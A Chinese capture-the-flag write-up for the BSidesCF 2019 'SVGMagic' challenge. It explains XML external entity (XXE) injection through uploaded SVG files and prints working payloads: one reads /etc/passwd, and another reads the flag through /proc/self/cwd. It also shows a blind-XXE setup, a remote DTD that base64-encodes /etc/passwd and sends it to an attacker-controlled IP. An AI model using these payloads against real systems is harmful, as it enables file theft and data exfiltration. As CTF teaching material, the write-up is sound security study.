[BSidesCF 2019]SVGMagic (XXE)

news2024/11/20 0:40:43

[BSidesCF 2019]SVGMagic

首先打开界面,感觉就是一个文件上传的题目 ,然后上传了jpg/php/png/.htaccess,感觉不是一道简单的题目,但是抓包也没有什么有用的信息。

页面上的英文翻译过来就是,使用Magic将SVG转换为PNG,所以考察的是SVG但是没遇到过

 搜索svg发现了和xxe的漏洞

 进入文章之后,就看到了svg格式的xxe如下所示,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

普通的xml二者对比,改变不多也就是<svg的标签,和宽高 

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
      <user>
            <username>bob</username>
            <password>passwd2</password>
            <name> Bob</name>
            <email>bob@fakesite.com</email>
            <group>CSAW2019</group>
            <intro>&xxe;</intro>
      </user>
</users>

 然后直接上传  2.svg

读取成功然后就要猜测flag在哪里了,我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/cwd/flag.txt读取文件。当前进程工作目录

然后本来用的f*发现通配符在这不可以使用

 

 

盲注XXE

原理:有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。

本来想手动搭建一个blindxxe漏洞的场景,但是调试了半天,

报错整的太难受了,以后有能力再来复现。

说一下简单的原理:

首先在本地构建一个靶机,里面是盲注xxe的代码。

然后我们自己使用一个vps,在根目录 /var/www/html 下创建一个a.dtd文件

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.168.168:8888/?%file;'>"> 

&#37;   这个其实就是%因为被包含了所以用这个代替

最后burp 抓包靶机,payload为

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/a.dtd">
%remote;%int;%send;
]>

最后发包,%remote先调用,vps上的 dtd文件,然后%int调用读取文件,最后send把读取后的发送到远程vps上,样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

参考文件:浅析无回显的XXE(Blind XXE) - FreeBuf网络安全行业门户

浅谈SVG的两个黑魔法_svg (sohu.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/124654.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#,简单易用、稳定可靠的统计学的常用算法、概要介绍与源代码

1、统计学常用算法 统计分析科学 在“政治算术”阶段出现的统计与数学的结合趋势逐渐发展形成了“统计分析科学”。 十九世纪末&#xff0c;欧洲大学开设的“国情纪要”或“政治算数”等课程名称逐渐消失&#xff0c;代之而起的是“统计分析科学”课程。当时的“统计分析科学”…

深度学习笔记:神经网络(1)

对于感知机相关内容&#xff0c;可以参考我上一篇文章&#xff1a; https://blog.csdn.net/Raine_Yang/article/details/128461600?spm1001.2014.3001.5501 在图示中&#xff0c;最左边一列为输入层&#xff0c;最右边一列为输出层&#xff0c;中间为中间层&#xff0c;也叫隐…

Android 传感器概述(一)

Android 传感器概述&#xff08;一&#xff09;Android 传感器概述&#xff08;一&#xff09;传感器简介传感器框架识别传感器和传感器特性监控传感器事件处理不同的传感器配置在运行时检测传感器使用 Google Play 过滤器定位特定的传感器配置传感器坐标系Android 传感器概述&…

Pytorch的 Dataset 的使用

此案例教我们加载并处理TorchVision的FashionMNIST Dataset。 root 目录是 train/test data 存储的地方 downloadTrue 如果root目录没有&#xff0c;则从网上下载 transform and target_transform specify the feature and label transformations import torch from torch.u…

第十五讲:神州交换机端口安全配置

知识点&#xff1a; 开启端口安全模式&#xff1b;设置端口最大安全数&#xff1b;端口绑定MAC地址&#xff1b;违规处理&#xff1b;锁定安全端口&#xff1b;MAC地址与IP的绑定&#xff1b;端口镜像。 实验拓扑如下图所示 PC机 IP地址 掩码 MAC地址 端口 PC1 192.168.…

Windows10安装ubuntu(WSL2,可直接调用Win10程序) —2022年笔记

算是wsl2的使用总结。 一。启动win10虚拟机模块 1. 打开控制面板&#xff08;或开始->运行: control&#xff09; 2. 点击最左边的 “启用或关闭windows功能”&#xff0c;会弹出模块勾选界面 3. 勾上 Hyper-V、适用于Linux的Windows子系统、虚拟机平台 4. 点击确定按钮即开…

【微服务】Nacos 注册中心的设计原理

目录 一、前言 二、数据模型 三、数据一致性 四、负载均衡 五、健康检查 六、性能与容量 七、易用性 八、集群扩展性 九、用户扩展性 十、结尾 &#x1f496; Spring家族及微服务系列文章 一、前言 服务发现是⼀个古老的话题&#xff0c;当应用开始脱离单机运行和访…

Mysql查询性能优化

Mysql查询性能优化0.前言1.为什么查询速度会慢2. 慢查询基础&#xff1a;优化数据访问2.1 是否向数据库请求了不需要的数据2.2 MYSQL是否在扫描额外的记录响应时间扫描的行数和返回的行数3. 重构查询方式3.1 一个复杂查询还是多个简单查询3.2 切分查询3.3 分解关联查询0.前言 …

DAG任务调度系统 Taier 演进之道,探究DataSourceX 模块

熟悉Taier的小伙伴们应该都知道&#xff0c;在11月7日发布的Taier1.3新版本中&#xff0c;我们融合了「DataSourceX 模块」。这是十分重要的一个变化&#xff0c;移除Taier外部插件依赖&#xff0c;新增数据源插件相关特性&#xff0c;支持后续Taier对接更多的RDBMS类型的SQL任…

小鹅通六周年:新知识服务时代,做好企业的“共享CTO”

2022年&#xff0c;产业数字化汹涌而来&#xff0c;驱动企业变革转型的同时&#xff0c;知识也以新的形式出现在各行各业。人人表达和传递知识&#xff0c;知识服务开始进入“下半场”。 如何应用数字化产品满足个人和组织的知识表达需求&#xff1f;作为知识产品与用户服务的…

HashMap的结构,1.7和1.8有哪些区别

一、真实面试题之&#xff1a;Hashmap的结构&#xff0c;1.7和1.8有哪些区别 不同点&#xff1a; &#xff08;1&#xff09;JDK1.7用的是头插法&#xff0c;而JDK1.8及之后使用的都是尾插法&#xff0c;那么他们为什么要这样做呢&#xff1f;因为JDK1.7是用单链表进行的纵向…

【开源项目】单点登录框架XXL-SSO源码解析

单点登录框架XXL-SSO源码解析 项目介绍 XXL-SSO 是一个分布式单点登录框架。只需要登录一次就可以访问所有相互信任的应用系统。 拥有"轻量级、分布式、跨域、CookieToken均支持、WebAPP均支持"等特性。现已开放源代码&#xff0c;开箱即用。 项目地址 https://g…

GRAPH ATTENTION NETWORKS 论文/GAT学习笔记

背景 目标&#xff1a;适用不同结构的图的模型 图卷积 基于谱的方法 &#xff1a; 这些方法学习得到的filters基于拉普拉斯特征基&#xff0c;而拉普拉斯特征基又基于图结构&#xff0c;所以在特定结构上训练的模型不能直接应用到具有不同结构的图。代表&#xff1a;GCN 不基…

分布式系统下的认证与授权

在软件系统设计中&#xff0c;如何让应用能够在各种环境中安全高效的访问是个复杂的问题&#xff0c;这个问题的背后是一系列软件设计时需要考虑的架构安全问题&#xff1a;架构安全性 | 凤凰架构 认证&#xff1a;系统如何识别合法用户&#xff0c;也就是解决 你是谁 的问题&…

2022年全球气候金融产品研究报告

第一章 全球气候金融概述 气候变化既是环境问题也是发展问题&#xff0c;需要大量气候资金的投入&#xff0c;金融作为推动经济发展的核心要素&#xff0c;在应对天气变化中能够发挥重要作用。气候金融是与应对气候变化相关的创新金融&#xff0c;是利用多渠道资金来源、运用多…

redhat9安装卸载mysql

文章目录一.仓库安装1.1、下载rpm包1.2、挂载1.3、安装mysql1.4、启动mysql服务1.5、查看临时密码1.6、登录mysql二.本地安装2.1、复制链接2.2、下载解压2.3、安装需要的包2.4、启动服务2.5、登录mysql三.容器安装3.1、安装docker3.2、run镜像3.3、登录mysql四.源码安装4.1、复…

STM32MP157驱动开发——多点电容触摸屏驱动

STM32MP157驱动开发——多点电容触摸屏驱动一、简介二、电容触摸屏驱动框架简介多点触摸(MT)协议详解三、驱动开发1.添加 FT5426 设备节点2.FT5426 节点配置3.驱动编写4.运行测试5.将驱动添加到内核中1&#xff09;将驱动文件放到合适的位置2&#xff09;修改Makefile6.tslib 移…

Xillinx的设计约束阅读整理

《适用于FPGA和SOC的UlteraFast设计方法指南》&#xff08;UG949&#xff09; 《Vivado Design Suite 用户指南&#xff1a;设计分析与收敛技巧》(UG906) 《Vivado Design Suite 用户指南&#xff1a;使用约束》(UG903) 《Vivado Design Suite Tcl 命令参考指南》(UG835) 约束文…

【java基础】关于线程的一些基础知识点

1.线程的概念&#xff1a; 在java的应用中&#xff0c;线程更多情况下指的是Thread&#xff0c;更精细一点&#xff0c;执行线程就是执行Thread实体下面的run方法&#xff0c;java通过cpu调试&#xff0c;交替进行这些thread&#xff0c;就达到了共同进行这种效果&#xff1b;…

【尚硅谷】SpringBoot2核心技术-1-基础入门

【尚硅谷】SpringBoot2核心技术-1-基础入门一、Spring与SpringBoot1、Spring能做什么1.1、Spring的能力1.2、Spring的生态【没写完】二、SpringBoot2入门1、系统要求1.1、maven设置2、HelloWorld2.1、创建maven工程2.2、引入依赖2.3、创建主程序2.4、编写业务2.5、测试2.6、简化…